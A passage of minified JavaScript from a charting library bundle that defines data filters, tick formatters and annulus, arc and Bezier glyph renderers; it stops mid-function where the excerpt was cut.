n=t(91);i.Canvas=n.Canvas;var r=t(92);i.CartesianFrame=r.CartesianFrame},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CumSum\\\",this.define({field:[o.String],include_zero:[o.Boolean,!1]})},t.prototype._v_compute=function(t){var e=new Float64Array(t.get_length()||0),i=t.data[this.field],n=this.include_zero?1:0;e[0]=this.include_zero?0:i[0];for(var r=1;r<e.length;r++)e[r]=e[r-1]+i[r-n];return e},t}(r.Expression);(i.CumSum=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(i){function t(t){var e=i.call(this,t)||this;return e._connected={},e._result={},e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Expression\\\"},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._connected={},this._result={}},t.prototype.v_compute=function(t){var e=this;null==this._connected[t.id]&&(this.connect(t.change,function(){return delete e._result[t.id]}),this.connect(t.patching,function(){return delete e._result[t.id]}),this.connect(t.streaming,function(){return delete e._result[t.id]}),this._connected[t.id]=!0);var i=this._result[t.id];return null==i&&(this._result[t.id]=i=this._v_compute(t)),i},t}(r.Model);(i.Expression=o).initClass()},function(t,e,i){var n=t(95);i.Expression=n.Expression;var r=t(97);i.Stack=r.Stack;var o=t(94);i.CumSum=o.CumSum},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Stack\\\",this.define({fields:[o.Array,[]]})},t.prototype._v_compute=function(t){for(var e=new Float64Array(t.get_length()||0),i=0,n=this.fields;i<n.length;i++)for(var r=n[i],o=0;o<t.data[r].length;o++){var s=t.data[r][o];e[o]+=s}return e},t}(r.Expression);(i.Stack=s).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=t(44),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BooleanFilter\\\",this.define({booleans:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.booleans;return null!=e&&0<e.length?a.all(e,l.isBoolean)?(e.length!==t.get_length()&&s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": length of booleans doesn't match data source\\\"),a.range(0,e.length).filter(function(t){return!0===e[t]})):(s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans should be array of booleans, defaulting to no filtering\\\"),null):(null!=e&&0==e.length?s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans is empty, defaulting to no filtering\\\"):s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.BooleanFilter=h).initClass()},function(i,t,e){var n=i(391),r=i(100),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSFilter\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"source\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.compute_indices=function(t){return this.filter=this.func.apply(this,this.values.concat([t,i,{}])),e.prototype.compute_indices.call(this,t)},t}(r.Filter);(e.CustomJSFilter=l).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(21),l=t(14),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Filter\\\",this.define({filter:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.filter;return null!=e&&0<=e.length?s.isArrayOf(e,s.isBoolean)?a.range(0,e.length).filter(function(t){return!0===e[t]}):s.isArrayOf(e,s.isInteger)?e:(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter should either be array of only booleans or only integers, defaulting to no filtering\\\"),null):(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter was not set to be an array, defaulting to no filtering\\\"),null)},t}(r.Model);(i.Filter=h).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=function(i){function t(t){var e=i.call(this,t)||this;return e.indices=null,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GroupFilter\\\",this.define({column_name:[o.String],group:[o.String]})},t.prototype.compute_indices=function(t){var e=this,i=t.get_column(this.column_name);return null==i?(s.logger.warn(\\\"group filter: groupby column not found in data source\\\"),null):(this.indices=a.range(0,t.get_length()||0).filter(function(t){return i[t]===e.group}),0===this.indices.length&&s.logger.warn(\\\"group filter: group '\\\"+this.group+\\\"' did not match any values in column '\\\"+this.column_name+\\\"'\\\"),this.indices)},t}(r.Filter);(i.GroupFilter=l).initClass()},function(t,e,i){var n=t(98);i.BooleanFilter=n.BooleanFilter;var r=t(99);i.CustomJSFilter=r.CustomJSFilter;var o=t(100);i.Filter=o.Filter;var s=t(101);i.GroupFilter=s.GroupFilter;var a=t(103);i.IndexFilter=a.IndexFilter},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(44),l=t(21),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IndexFilter\\\",this.define({indices:[o.Array,null]})},t.prototype.compute_indices=function(t){return null!=this.indices&&0<=this.indices.length?l.all(this.indices,a.isInteger)?this.indices:(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices should be array of integers, defaulting to no filtering\\\"),null):(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.IndexFilter=h).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(15),f=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e.last_precision=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BasicTickFormatter\\\",this.define({precision:[o.Any,\\\"auto\\\"],use_scientific:[o.Bool,!0],power_limit_high:[o.Number,5],power_limit_low:[o.Number,-3]})},Object.defineProperty(t.prototype,\\\"scientific_limit_low\\\",{get:function(){return Math.pow(10,this.power_limit_low)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"scientific_limit_high\\\",{get:function(){return Math.pow(10,this.power_limit_high)},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){if(0==t.length)return[];var i=0;2<=t.length&&(i=Math.abs(t[1]-t[0])/1e4);var n=!1;if(this.use_scientific)for(var r=0,o=t;r<o.length;r++){var s=o[r],a=Math.abs(s);if(i<a&&(a>=this.scientific_limit_high||a<=this.scientific_limit_low)){n=!0;break}}var l=new Array(t.length),h=this.precision;if(null==h||f.isNumber(h))if(n)for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toExponential(h||void 0);else for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toFixed(h||void 0).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\");else for(var _=this.last_precision,p=this.last_precision<=15;p?_<=15:15<=_;p?_++:_--){var d=!0;if(n){for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toExponential(_),0<u&&l[u]===l[u-1]){d=!1;break}if(d)break}else{for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toFixed(_).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\"),0<u&&l[u]==l[u-1]){d=!1;break}if(d)break}if(d){this.last_precision=_;break}}return l},t}(r.TickFormatter);(i.BasicTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTickFormatter\\\"},t.prototype.doFormat=function(t,e){return o.copy(t)},t}(r.TickFormatter);(i.CategoricalTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(389),w=t(390),o=t(113),k=t(14),s=t(15),a=t(21),l=t(44);function S(t,e){if(l.isFunction(e))return e(t);var i,n=r.sprintf(\\\"$1%06d\\\",(i=t,Math.round(i/1e3%1*1e6)));return-1==(e=e.replace(/((^|[^%])(%%)*)%f/,n)).indexOf(\\\"%\\\")?e:w(t,e)}var C=[\\\"microseconds\\\",\\\"milliseconds\\\",\\\"seconds\\\",\\\"minsec\\\",\\\"minutes\\\",\\\"hourmin\\\",\\\"hours\\\",\\\"days\\\",\\\"months\\\",\\\"years\\\"],h=function(i){function t(t){var e=i.call(this,t)||this;return e.strip_leading_zeros=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DatetimeTickFormatter\\\",this.define({microseconds:[s.Array,[\\\"%fus\\\"]],milliseconds:[s.Array,[\\\"%3Nms\\\",\\\"%S.%3Ns\\\"]],seconds:[s.Array,[\\\"%Ss\\\"]],minsec:[s.Array,[\\\":%M:%S\\\"]],minutes:[s.Array,[\\\":%M\\\",\\\"%Mm\\\"]],hourmin:[s.Array,[\\\"%H:%M\\\"]],hours:[s.Array,[\\\"%Hh\\\",\\\"%H:%M\\\"]],days:[s.Array,[\\\"%m/%d\\\",\\\"%a%d\\\"]],months:[s.Array,[\\\"%m/%Y\\\",\\\"%b %Y\\\"]],years:[s.Array,[\\\"%Y\\\"]]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._update_width_formats()},t.prototype._update_width_formats=function(){var n=+w(new Date),t=function(t){var e=t.map(function(t){return S(n,t).length}),i=a.sortBy(a.zip(e,t),function(t){var e=t[0];return e});return a.unzip(i)};this._width_formats={microseconds:t(this.microseconds),milliseconds:t(this.milliseconds),seconds:t(this.seconds),minsec:t(this.minsec),minutes:t(this.minutes),hourmin:t(this.hourmin),hours:t(this.hours),days:t(this.days),months:t(this.months),years:t(this.years)}},t.prototype._get_resolution_str=function(t,e){var i=1.1*t;switch(!1){case!(i<.001):return\\\"microseconds\\\";case!(i<1):return\\\"milliseconds\\\";case!(i<60):return 60<=e?\\\"minsec\\\":\\\"seconds\\\";case!(i<3600):return 3600<=e?\\\"hourmin\\\":\\\"minutes\\\";case!(i<86400):return\\\"hours\\\";case!(i<2678400):return\\\"days\\\";case!(i<31536e3):return\\\"months\\\";default:return\\\"years\\\"}},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=Math.abs(t[t.length-1]-t[0])/1e3,n=i/(t.length-1),r=this._get_resolution_str(n,i),o=this._width_formats[r],s=o[1][0],a=[],l=C.indexOf(r),h={},u=0,c=C;u<c.length;u++){var _=c[u];h[_]=0}h.seconds=5,h.minsec=4,h.minutes=4,h.hourmin=3,h.hours=3;for(var p=0,d=t;p<d.length;p++){var f=d[p],v=void 0,m=void 0;try{m=w(f,\\\"%Y %m %d %H %M %S\\\").split(/\\\\s+/).map(function(t){return parseInt(t,10)}),v=S(f,s)}catch(t){k.logger.warn(\\\"unable to format tick for timestamp value \\\"+f),k.logger.warn(\\\" - \\\"+t),a.push(\\\"ERR\\\");continue}for(var g=!1,y=l;0==m[h[C[y]]];){var b=void 0;if((y+=1)==C.length)break;if((\\\"minsec\\\"==r||\\\"hourmin\\\"==r)&&!g){if(\\\"minsec\\\"==r&&0==m[4]&&0!=m[5]||\\\"hourmin\\\"==r&&0==m[3]&&0!=m[4]){b=this._width_formats[C[l-1]][1][0],v=S(f,b);break}g=!0}b=this._width_formats[C[y]][1][0],v=S(f,b)}if(this.strip_leading_zeros){var x=v.replace(/^0+/g,\\\"\\\");x!=v&&isNaN(parseInt(x))&&(x=\\\"0\\\"+x),a.push(x)}else a.push(v)}return a},t}(o.TickFormatter);(i.DatetimeTickFormatter=h).initClass()},function(o,t,e){var i=o(391),n=o(113),r=o(15),s=o(32),a=o(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FuncTickFormatter\\\",this.define({args:[r.Any,{}],code:[r.String,\\\"\\\"],use_strict:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_func=function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0,\\\"tick\\\",\\\"index\\\",\\\"ticks\\\"].concat(this.names,[\\\"require\\\",\\\"exports\\\",t])))},t.prototype.doFormat=function(t,e){var n=this,r=this._make_func().bind({});return t.map(function(t,e,i){return r.apply(void 0,[t,e,i].concat(n.values,[o,{}]))})},t}(n.TickFormatter);(e.FuncTickFormatter=l).initClass()},function(t,e,i){var n=t(104);i.BasicTickFormatter=n.BasicTickFormatter;var r=t(105);i.CategoricalTickFormatter=r.CategoricalTickFormatter;var o=t(106);i.DatetimeTickFormatter=o.DatetimeTickFormatter;var s=t(107);i.FuncTickFormatter=s.FuncTickFormatter;var a=t(109);i.LogTickFormatter=a.LogTickFormatter;var l=t(110);i.MercatorTickFormatter=l.MercatorTickFormatter;var h=t(111);i.NumeralTickFormatter=h.NumeralTickFormatter;var u=t(112);i.PrintfTickFormatter=u.PrintfTickFormatter;var c=t(113);i.TickFormatter=c.TickFormatter},function(t,e,i){var n=t(391),r=t(113),o=t(104),s=t(14),a=t(15),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTickFormatter\\\",this.define({ticker:[a.Instance,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.basic_formatter=new o.BasicTickFormatter,null==this.ticker&&s.logger.warn(\\\"LogTickFormatter not configured with a ticker, using default base of 10 (labels will be incorrect if ticker base is not 10)\\\")},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=null!=this.ticker?this.ticker.base:10,n=!1,r=new Array(t.length),o=0,s=t.length;o<s;o++)if(r[o]=i+\\\"^\\\"+Math.round(Math.log(t[o])/Math.log(i)),0<o&&r[o]==r[o-1]){n=!0;break}return n?this.basic_formatter.doFormat(t,e):r},t}(r.TickFormatter);(i.LogTickFormatter=l).initClass()},function(t,e,i){var n=t(391),r=t(104),o=t(15),h=t(33),s=function(l){function t(t){return l.call(this,t)||this}return n.__extends(t,l),t.initClass=function(){this.prototype.type=\\\"MercatorTickFormatter\\\",this.define({dimension:[o.LatLon]})},t.prototype.doFormat=function(t,e){if(null==this.dimension)throw new Error(\\\"MercatorTickFormatter.dimension not configured\\\");if(0==t.length)return[];var i=t.length,n=new Array(i);if(\\\"lon\\\"==this.dimension)for(var r=0;r<i;r++){var o=h.wgs84_mercator.inverse([t[r],e.loc])[0];n[r]=o}else for(var r=0;r<i;r++){var s=h.wgs84_mercator.inverse([e.loc,t[r]]),a=s[1];n[r]=a}return l.prototype.doFormat.call(this,n,e)},t}(r.BasicTickFormatter);(i.MercatorTickFormatter=s).initClass()},function(t,e,i){var n=t(391),o=t(361),r=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumeralTickFormatter\\\",this.define({format:[s.String,\\\"0,0\\\"],language:[s.String,\\\"en\\\"],rounding:[s.String,\\\"round\\\"]})},Object.defineProperty(t.prototype,\\\"_rounding_fn\\\",{get:function(){switch(this.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){var i=this.format,n=this.language,r=this._rounding_fn;return t.map(function(t){return o.format(t,i,n,r)})},t}(r.TickFormatter);(i.NumeralTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(389),o=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PrintfTickFormatter\\\",this.define({format:[s.String,\\\"%s\\\"]})},t.prototype.doFormat=function(t,e){var i=this;return t.map(function(t){return r.sprintf(i.format,t)})},t}(o.TickFormatter);(i.PrintfTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TickFormatter\\\"},t}(r.Model);(i.TickFormatter=o).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),z=t(9),s=t(15),P=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius,this._angle=new Float32Array(this._start_angle.length);for(var t=0,e=this._start_angle.length;t<e;t++)this._angle[t]=this._end_angle[t]-this._start_angle[t]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._start_angle,s=i._angle,a=i.sinner_radius,l=i.souter_radius,h=this.model.properties.direction.value(),u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+a[_]+l[_]+o[_]+s[_])||(t.translate(n[_],r[_]),t.rotate(o[_]),t.moveTo(l[_],0),t.beginPath(),t.arc(0,0,l[_],0,s[_],h),t.rotate(s[_]),t.lineTo(a[_],0),t.arc(0,0,a[_],0,-s[_],!h),t.closePath(),t.rotate(-s[_]-o[_]),t.translate(-n[_],-r[_]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,_),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,_),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=z.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=f;A<E.length;A++){var M=E[A],y=M[0],S=M[1],O=Math.atan2(l-this.sy[y],a-this.sx[y]);P.angle_between(-O,-this._start_angle[y],-this._end_angle[y],C)&&T.push([y,S])}return z.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=(this.sinner_radius[t]+this.souter_radius[t])/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.AnnularWedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AnnularWedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],inner_radius:[s.DistanceSpec],outer_radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.AnnularWedge=l).initClass()},function(t,e,i){var n=t(391),r=t(146),C=t(9),o=t(15),p=t(28),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sinner_radius,s=i.souter_radius,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){if(this.visuals.fill.doit){if(this.visuals.fill.set_vectorize(t,h),t.beginPath(),p.is_ie)for(var u=0,c=[!1,!0];u<c.length;u++){var _=c[u];t.arc(n[h],r[h],o[h],0,Math.PI,_),t.arc(n[h],r[h],s[h],Math.PI,0,!_)}else t.arc(n[h],r[h],o[h],0,2*Math.PI,!0),t.arc(n[h],r[h],s[h],2*Math.PI,0,!1);t.fill()}this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,h),t.beginPath(),t.arc(n[h],r[h],o[h],0,2*Math.PI),t.moveTo(n[h]+s[h],r[h]),t.arc(n[h],r[h],s[h],0,2*Math.PI),t.stroke())}}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=C.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}return C.create_hit_test_result_from_hits(f)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=.5*Math.min(Math.abs(o-n),Math.abs(s-r)),c=new Array(a);c[i]=.4*u;var _=new Array(a);_[i]=.8*u,this._render(t,[i],{sx:l,sy:h,sinner_radius:c,souter_radius:_})},e}(r.XYGlyphView);i.AnnulusView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annulus\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({inner_radius:[o.DistanceSpec],outer_radius:[o.DistanceSpec]})},t}(r.XYGlyph);(i.Annulus=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle;if(this.visuals.line.doit)for(var l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.ArcView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arc\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Arc=l).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143);function h(t,e,i,n,r,o,s,a){for(var l=[],h=[[],[]],u=0;u<=2;u++){var c=void 0,_=void 0,p=void 0;if(0===u?(_=6*t-12*i+6*r,c=-3*t+9*i-9*r+3*s,p=3*i-3*t):(_=6*e-12*n+6*o,c=-3*e+9*n-9*o+3*a,p=3*n-3*e),Math.abs(c)<1e-12){if(Math.abs(_)<1e-12)continue;var d=-p/_;0<d&&d<1&&l.push(d)}else{var f=_*_-4*p*c,v=Math.sqrt(f);if(!(f<0)){var m=(-_+v)/(2*c);0<m&&m<1&&l.push(m);var g=(-_-v)/(2*c);0<g&&g<1&&l.push(g)}}}for(var y=l.length,b=y;y--;){var d=l[y],x=1-d,w=x*x*x*t+3*x*x*d*i+3*x*d*d*r+d*d*d*s;h[0][y]=w;var k=x*x*x*e+3*x*x*d*n+3*x*d*d*o+d*d*d*a;h[1][y]=k}return h[0][b]=t,h[1][b]=e,h[0][b+1]=s,h[1][b+1]=a,[Math.min.apply(Math,h[0]),Math.max.apply(Math,h[1]),Math.max.apply(Math,h[0]),Math.min.apply(Math,h[1])]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx0[e]+this._cy0[e]+this._cx1[e]+this._cy1[e])){var n=h(this._x0[e],this._y0[e],this._x1[e],this._y1[e],this._cx0[e],this._cy0[e],this._cx1[e],this._cy1[e]),r=n[0],o=n[1],s=n[2],a=n[3];t.push({minX:r,minY:o,maxX:s,maxY:a,i:e})}return new l.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx0,l=i.scy0,h=i.scx1,u=i.scy1;if(this.visuals.line.doit)for(var c=0,_=e;c<_.length;c++){var p=_[c];isNaN(n[p]+r[p]+o[p]+s[p]+a[p]+l[p]+h[p]+u[p])||(t.beginPath(),t.moveTo(n[p],r[p]),t.bezierCurveTo(a[p],l[p],h[p],u[p],o[p],s[p]),this.visuals.line.set_vectorize(t,p),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.BezierView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Bezier\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx0\\\",\\\"cy0\\\"],[\\\"cx1\\\",\\\"cy1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Bezier=a).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143),f=t(9),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_box=function(t){for(var e=[],i=0;i<t;i++){var n=this._lrtb(i),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&e.push({minX:Math.min(r,o),minY:Math.min(s,a),maxX:Math.max(o,r),maxY:Math.max(s,a),i:i})}return new l.SpatialIndex(e)},e.prototype._render=function(t,e,i){for(var n=i.sleft,r=i.sright,o=i.stop,s=i.sbottom,a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+o[h]+r[h]+s[h])||(this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,h),t.fillRect(n[h],o[h],r[h]-n[h],s[h]-o[h])),this.visuals.line.doit&&(t.beginPath(),t.rect(n[h],o[h],r[h]-n[h],s[h]-o[h]),this.visuals.line.set_vectorize(t,h),t.stroke()))}},e.prototype._clamp_viewport=function(){for(var t=this.renderer.plot_view.frame.bbox.h_range,e=this.renderer.plot_view.frame.bbox.v_range,i=this.stop.length,n=0;n<i;n++)this.stop[n]=Math.max(this.stop[n],e.start),this.sbottom[n]=Math.min(this.sbottom[n],e.end),this.sleft[n]=Math.max(this.sleft[n],t.start),this.sright[n]=Math.min(this.sright[n],t.end)},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=f.create_empty_hit_test_result();return s.indices=o,s},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var 